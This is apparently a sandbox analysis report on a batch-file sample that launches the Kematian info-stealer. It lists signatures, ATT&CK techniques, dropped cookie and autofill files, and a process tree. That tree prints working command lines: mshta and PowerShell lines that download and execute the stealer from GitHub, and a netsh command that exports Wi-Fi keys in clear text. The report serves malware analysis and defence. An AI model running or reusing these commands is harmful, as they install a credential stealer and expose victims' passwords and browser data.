024146b5deb90fc9bcbb45b6b3c07e58f5480c13cb3b7e912fb2fa4122223c56

Analysis

max time kernel
146s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16/01/2025, 12:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
main.bat
Size 694B
Sample250116-pp2ems1naq
SHA256 024146b5deb90fc9bcbb45b6b3c07e58f5480c13cb3b7e912fb2fa4122223c56
MD5 675bc4a7394ea35181bfc4f05e60bce9
SHA1 422551a0f4da68d874f47beedb4a1384d058fb76
SHA512 b25188fa779c1f0125d99eed4171531381b92db77ad7c560c2fda54781095d736d0d108d35a0519ff30889b09e25b0788b023e61d3515cfbe4c619c578e97f25
MD5 SHA1 SHA512

Score

10^/10

discovery execution persistence privilege_escalation

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/kematian_shellcode.ps1

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
7	4916	powershell.exe
11	4916	powershell.exe
15	4916	powershell.exe
20	4916	powershell.exe
29	2804	powershell.exe
30	2804	powershell.exe
32	2804	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
11	raw.githubusercontent.com
30	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4916	powershell.exe
4916	powershell.exe
4916	powershell.exe
4916	powershell.exe
2804	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4916	powershell.exe
Token: SeSecurityPrivilege	4916	powershell.exe
Token: SeTakeOwnershipPrivilege	4916	powershell.exe
Token: SeLoadDriverPrivilege	4916	powershell.exe
Token: SeSystemProfilePrivilege	4916	powershell.exe
Token: SeSystemtimePrivilege	4916	powershell.exe
Token: SeProfSingleProcessPrivilege	4916	powershell.exe
Token: SeIncBasePriorityPrivilege	4916	powershell.exe
Token: SeCreatePagefilePrivilege	4916	powershell.exe
Token: SeBackupPrivilege	4916	powershell.exe
Token: SeRestorePrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeSystemEnvironmentPrivilege	4916	powershell.exe
Token: SeRemoteShutdownPrivilege	4916	powershell.exe
Token: SeUndockPrivilege	4916	powershell.exe
Token: SeManageVolumePrivilege	4916	powershell.exe
Token: 33	4916	powershell.exe
Token: 34	4916	powershell.exe
Token: 35	4916	powershell.exe
Token: 36	4916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4916	powershell.exe
Token: SeSecurityPrivilege	4916	powershell.exe
Token: SeTakeOwnershipPrivilege	4916	powershell.exe
Token: SeLoadDriverPrivilege	4916	powershell.exe
Token: SeSystemProfilePrivilege	4916	powershell.exe
Token: SeSystemtimePrivilege	4916	powershell.exe
Token: SeProfSingleProcessPrivilege	4916	powershell.exe
Token: SeIncBasePriorityPrivilege	4916	powershell.exe
Token: SeCreatePagefilePrivilege	4916	powershell.exe
Token: SeBackupPrivilege	4916	powershell.exe
Token: SeRestorePrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeSystemEnvironmentPrivilege	4916	powershell.exe
Token: SeRemoteShutdownPrivilege	4916	powershell.exe
Token: SeUndockPrivilege	4916	powershell.exe
Token: SeManageVolumePrivilege	4916	powershell.exe
Token: 33	4916	powershell.exe
Token: 34	4916	powershell.exe
Token: 35	4916	powershell.exe
Token: 36	4916	powershell.exe
Token: SeIncreaseQuotaPrivilege	4916	powershell.exe
Token: SeSecurityPrivilege	4916	powershell.exe
Token: SeTakeOwnershipPrivilege	4916	powershell.exe
Token: SeLoadDriverPrivilege	4916	powershell.exe
Token: SeSystemProfilePrivilege	4916	powershell.exe
Token: SeSystemtimePrivilege	4916	powershell.exe
Token: SeProfSingleProcessPrivilege	4916	powershell.exe
Token: SeIncBasePriorityPrivilege	4916	powershell.exe
Token: SeCreatePagefilePrivilege	4916	powershell.exe
Token: SeBackupPrivilege	4916	powershell.exe
Token: SeRestorePrivilege	4916	powershell.exe
Token: SeShutdownPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeSystemEnvironmentPrivilege	4916	powershell.exe
Token: SeRemoteShutdownPrivilege	4916	powershell.exe
Token: SeUndockPrivilege	4916	powershell.exe
Token: SeManageVolumePrivilege	4916	powershell.exe
Token: 33	4916	powershell.exe
Token: 34	4916	powershell.exe
Token: 35	4916	powershell.exe
Token: 36	4916	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 388 wrote to memory of 1940	388	cmd.exe	83
PID 388 wrote to memory of 1940	388	cmd.exe	83
PID 1940 wrote to memory of 4828	1940	net.exe	84
PID 1940 wrote to memory of 4828	1940	net.exe	84
PID 388 wrote to memory of 3436	388	cmd.exe	85
PID 388 wrote to memory of 3436	388	cmd.exe	85
PID 3436 wrote to memory of 4916	3436	mshta.exe	86
PID 3436 wrote to memory of 4916	3436	mshta.exe	86
PID 4916 wrote to memory of 4664	4916	powershell.exe	91
PID 4916 wrote to memory of 4664	4916	powershell.exe	91
PID 4916 wrote to memory of 2804	4916	powershell.exe	95
PID 4916 wrote to memory of 2804	4916	powershell.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\main.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:388
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4828
- C:\Windows\system32\mshta.exe
  mshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" wlan export profile folder=C:\Users\Admin\AppData\Local\Temp\wifi key=clear
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      PID:4664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I'E'X((New-Object Net.Webclient)."DowNloAdSTRiNg"('https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/kematian_shellcode.ps1'))
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

_R0I=_SEdOQldCR1c=_MjAyNS0wMS0xNg==_VVRDMA==.zip

Path C:\Users\Admin\AppData\Local\Temp\_R0I=_SEdOQldCR1c=_MjAyNS0wMS0xNg==_VVRDMA==.zip
Size 1.1MB
SHA256 85da101947fddb4c2bb1fcf0ad1735f116568888660f0f687beaab19469b5ea1
MD5 b9d049293a5694ef3b0380e0bd2c1724
SHA1 057453147cfd3da6447eaf12fdb9246b8e5e0514
SHA512 375fdcba410df31ac941f1634f49a77d3c0dd18917638eb84188375a840b2155a6e249bd4329f7a318f53ae41e8ee377ab496d549bfe1026d20b2c9e87954a22
SSDEEP 24576:VlubL+OEuIJbGpGFdjClQQmuiLSSCN3N8bBvb3mHMnPqj+xPr7E6sI:VlEEupp0+eGQ9CNO9b3fh/E6sI
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_wwcr3lw5.elt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wwcr3lw5.elt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

autofill.json

Path C:\Users\Admin\AppData\Local\Temp\autofill.json
Size 4B
SHA256 74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b
MD5 37a6259cc0c1dae299a7866489dff0bd
SHA1 2be88ca4242c76e8253ac62474851065032d6833
SHA512 04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f
MD5 SHA1 SHA512

Submit Download

cookies_netscape_Chrome.txt

Path C:\Users\Admin\AppData\Local\temp\cookies_netscape_Chrome.txt
Size 259B
SHA256 41ef062cf60538028ab51dd04ba370530496ed393bb81b38e7d06c23be2d6fa2
MD5 79ed6c9dd34d6d6622616e9b0d8fd0bb
SHA1 0b227c9f26d6459df5cdf901d61653ea1a122d6e
SHA512 99d13caddd544a327a23e7671b960bfba9c0f69bb6d80a38f6771c39c6d902b7a3b8d226fad2c1aaf108d2c8a71b0fadd3899db1996f0c977f64237666454de3
MD5 SHA1 SHA512

Submit Download

memory/2804-31-0x0000017EB5CD0000-0x0000017EB60A4000-memory.dmp

Download

memory/4916-12-0x000001FCFA8B0000-0x000001FCFADD8000-memory.dmp

Download

memory/4916-17-0x000001FCF9FE0000-0x000001FCFA024000-memory.dmp

Download

memory/4916-18-0x000001FCFA0B0000-0x000001FCFA126000-memory.dmp

Download

memory/4916-14-0x000001FCF9E20000-0x000001FCF9E44000-memory.dmp

Download

memory/4916-13-0x000001FCF9E20000-0x000001FCF9E4A000-memory.dmp

Download

memory/4916-11-0x000001FCFA1B0000-0x000001FCFA372000-memory.dmp

Download

memory/4916-53-0x000001FCF9E60000-0x000001FCF9E72000-memory.dmp

Download

memory/4916-54-0x000001FCF9E50000-0x000001FCF9E5A000-memory.dmp

Download

memory/4916-6-0x000001FCE0B20000-0x000001FCE0B42000-memory.dmp

Download